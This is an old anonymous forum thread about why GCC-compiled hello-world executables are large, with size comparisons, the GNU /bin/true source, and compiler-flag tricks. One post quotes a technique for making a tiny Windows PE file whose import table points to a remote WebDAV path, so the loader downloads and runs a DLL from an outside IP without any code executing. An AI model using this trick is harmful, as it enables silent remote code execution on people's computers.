Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Why GCC executable are so bloated?

Name: Anonymous 2010-07-20 8:24

7kb of code for hello world?

Name: Anonymous 2010-07-20 8:46

http://timelessname.com/elfbin/

7k ain't exactly bloat these days.  Besides, write a couple thousand more lines of code and you'll find that the size doesn't grow that much (unless you write C++).

Name: Anonymous 2010-07-20 8:47

You can blame the linker and the ELF binary format, but mostly the linker, which inserts lots of stuff that isn't stricly needed into the binary.

Here's a guide for reducing ELF binary size:
http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

Name: Anonymous 2010-07-20 9:42

Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \\66.93.68.6\z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.

This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.

;
; The DLL name should be at most 16 bytes, including the null terminator
;

dllname:
    db "\\66.93.68.6\z", 0
    times 16-($-dllname) db 0

The size of the PE file with a UNC import is still only 133 bytes.

WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://66.93.68.6/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.

Name: Anonymous 2010-07-20 9:51

>>4
Windows: Security enhanced.

Name: Anonymous 2010-07-20 9:57

It's gotten bad when you think that 7kb (kB?) is bloated.

Name: Anonymous 2010-07-20 10:00

>>6
KB.

Name: Anonymous 2010-07-20 10:03

I'd rather discuss kibibytes.

Name: Anonymous 2010-07-20 10:40

% cat Hello.hs
import IO

main = putStrLn "Hello World!"
% ghc --make Hello.hs
[1 of 1] Compiling Main             ( Hello.hs, Hello.o )
Linking Hello ...
% du -h Hello
712K    Hello

Name: Anonymous 2010-07-20 10:47

>>6
It's pretty bad when you think it's not bloated. I remember when 7kb was a lot of space!

Name: Anonymous 2010-07-20 10:55

>>10
PROTIP:As software requirements increase, so does overhead; what was once fine a couple of decades ago, may not be good enough today. GCC is a general compiler system that targets today's general systems; when you have special requirements that differ from the general configuration, it's your own job to figure out how to contort the system to fit them.

Name: Anonymous 2010-07-20 10:59

>>11
PROTIP: Shut the fuck up and get back to /b/; you are spouting gibberish.

Name: Anonymous 2010-07-20 11:06

>>4
UNC path in the import section of the PE file.
You've got to be shitting me?

Name: Anonymous 2010-07-20 11:06

>>10
If you wish to return to that time when 7kb was considered "a lot of space," then I won't stop you; but, I think I would rather stay here.

Name: Anonymous 2010-07-20 11:29

>>14
The next thing you'll be telling me to install flash (unsafe!) and GHC (350MB! That's almost one thousandth of my disk space!).

Name: Anonymous 2010-07-20 12:50

>>15
If you truly thought like that with everything then your disk would fill with Java runtime and Emacs pretty quickly.

Name: Anonymous 2010-07-20 14:19

Name: Anonymous 2010-07-20 14:53

/bin/true on my system is 21KB.

Name: Anonymous 2010-07-20 15:01

>>18
15.4KB here, it has --help and --version options.
But I always choose to use my shell's version of true, which is most probably much smaller.

Name: Anonymous 2010-07-20 15:06

>>18
/* Exit with a status code indicating success.
   Copyright (C) 1999-2003, 2005, 2007-2010 Free Software Foundation, Inc.

   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see <http://www.gnu.org/licenses/>;.  */

#include <config.h>
#include <stdio.h>
#include <sys/types.h>
#include "system.h"

/* Act like "true" by default; false.c overrides this.  */
#ifndef EXIT_STATUS
# define EXIT_STATUS EXIT_SUCCESS
#endif

#if EXIT_STATUS == EXIT_SUCCESS
# define PROGRAM_NAME "true"
#else
# define PROGRAM_NAME "false"
#endif

#define AUTHORS proper_name ("Jim Meyering")

void
usage (int status)
{
  printf (_("\
Usage: %s [ignored command line arguments]\n\
  or:  %s OPTION\n\
"),
          program_name, program_name);
  printf ("%s\n\n",
          _(EXIT_STATUS == EXIT_SUCCESS
            ? N_("Exit with a status code indicating success.")
            : N_("Exit with a status code indicating failure.")));
  fputs (HELP_OPTION_DESCRIPTION, stdout);
  fputs (VERSION_OPTION_DESCRIPTION, stdout);
  printf (USAGE_BUILTIN_WARNING, PROGRAM_NAME);
  emit_ancillary_info ();
  exit (status);
}

int
main (int argc, char **argv)
{
  /* Recognize --help or --version only if it's the only command-line
     argument.  */
  if (argc == 2)
    {
      initialize_main (&argc, &argv);
      set_program_name (argv[0]);
      setlocale (LC_ALL, "");
      bindtextdomain (PACKAGE, LOCALEDIR);
      textdomain (PACKAGE);

      atexit (close_stdout);

      if (STREQ (argv[1], "--help"))
        usage (EXIT_STATUS);

      if (STREQ (argv[1], "--version"))
        version_etc (stdout, PROGRAM_NAME, PACKAGE_NAME, Version, AUTHORS,
                     (char *) NULL);
    }

  exit (EXIT_STATUS);
}


GNU quality!!!

Name: Anonymous 2010-07-20 15:08

>>18
My /bin/true and /bin/false are both 22120 bytes long.

int main(int argc, char **argv) { return 0; } compiled with gcc is 6192 bytes long.

What's all that 15928-bytes long payload???

Name: Anonymous 2010-07-20 15:10

You should have received a copy of the GNU General Public License
   along with this program.  If not, see <" target="_blank">http://www.gnu.org/licenses/>;;.  */


wat

Name: Anonymous 2010-07-20 15:12

>>22
You should have received a copy of the GNU General Public License
   along with this program.  If not, see <" target="_blank">" target="_blank">http://www.gnu.org/licenses/>;;;.  */

lol I love shitchan bugs

Name: Anonymous 2010-07-20 15:22

>>21
See >>20

I've actually had a use for /bin/false, but I don't think I've ever come across a case where /bin/true was required outside of a shell builtin.

The only part that actually disturbs me is that /bin/true and /bin/false are separate programs (compiled from different source files as >>20 has it.) I thought we stopped that long ago.

Name: Anonymous 2010-07-20 15:24

>>23
Its probably trying to avoid XSS

Name: Anonymous 2010-07-20 15:25

>>24
false and true are only useful in case of nonstandard L/unix environments. Its for scripts to check if EXIT_SUCCESS/EXIT_FAILURE are the same for some local program.

Name: Anonymous 2010-07-20 15:26

>>25
It can never avoid having its anus XSSd.

Name: Anonymous 2010-07-20 15:30

Both true and false should be wrappers for a ? program that returns whatever number it is given.

Name: Anonymous 2010-07-20 15:56

>>27
XAS

Name: Anonymous 2010-07-20 16:28

>>25
It isn't trying to avoid anything. It's just failing miserably.

Name: Anonymous 2010-07-20 22:13

   along with this program.  If not, see <" target="_blank">" target="_blank">http://www.gnu.org/licenses/>;;;;.  */

Name: Anonymous 2010-07-21 1:16

Pure basic  HelloWorld=2kb
Tcc HelloWorld=1.5kb
FASM=about 1.5kb too
GCC without standard libs takes 1.5kb, but does not work obviously. The idea is that GCC adds 5.5kb of junk from its libs.

Name: Anonymous 2010-07-21 2:06

>>32
Wait, what? Why wouldn't GCC without standard libs work?

Name: Anonymous 2010-07-21 2:11

>>33
because compiling printf("Hello world") without printf inside libs is impossible.

Name: Anonymous 2010-07-21 2:22

>>34
Use write(2) wise guy.

Name: Anonymous 2010-07-21 2:29

$ cat hello.c
#include <stdio.h>
#include <stdlib.h>

char *environ, *__progname;

int _start(int argc, char *argv[argc])
{ exit(puts("Hello, World!")); }
$ gcc $CFLAGS -Os -s -nostdlib -lc -o hello hello.c
$ du -AhB1 hello
1,6K    hello

Name: Anonymous 2010-07-21 2:38

I can probably get a Hello World into 1-2kb using MSVC with the right compiler and linker options. Using printf or puts wouldn't make a real difference since all libc calls would be external anyway. Statically linking libc would cost some 60KB.

Name: Anonymous 2010-07-21 2:40

>>36
1,6K
Back to France, please.

Name: Anonymous 2010-07-21 2:40

>>34
Imports motherfucker, do you use them? The following gives 1KB.


C:\>type hello.c
#include <stdio.h>

int main() {
 printf("Hello world!\n");
 return 0;
}
C:\>cl /nologo /MD /Os hello.c /link /align:4096 /filealign:512 /merge:.data=.text /merge:.rdata=.text /section:.text,EWR /stub:stub64.exe /entry:main
C:\>hello
Hello world!

C:\>


Trimming off all the zeros at the end (WTF?) it comes down to 628 bytes. Not a bad amount of overhead at all.

Name: Anonymous 2010-07-21 2:45

>>38
$ echo $LC_ALL
is_IS.UTF-8


perhaps it is you who should go back to france, please.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List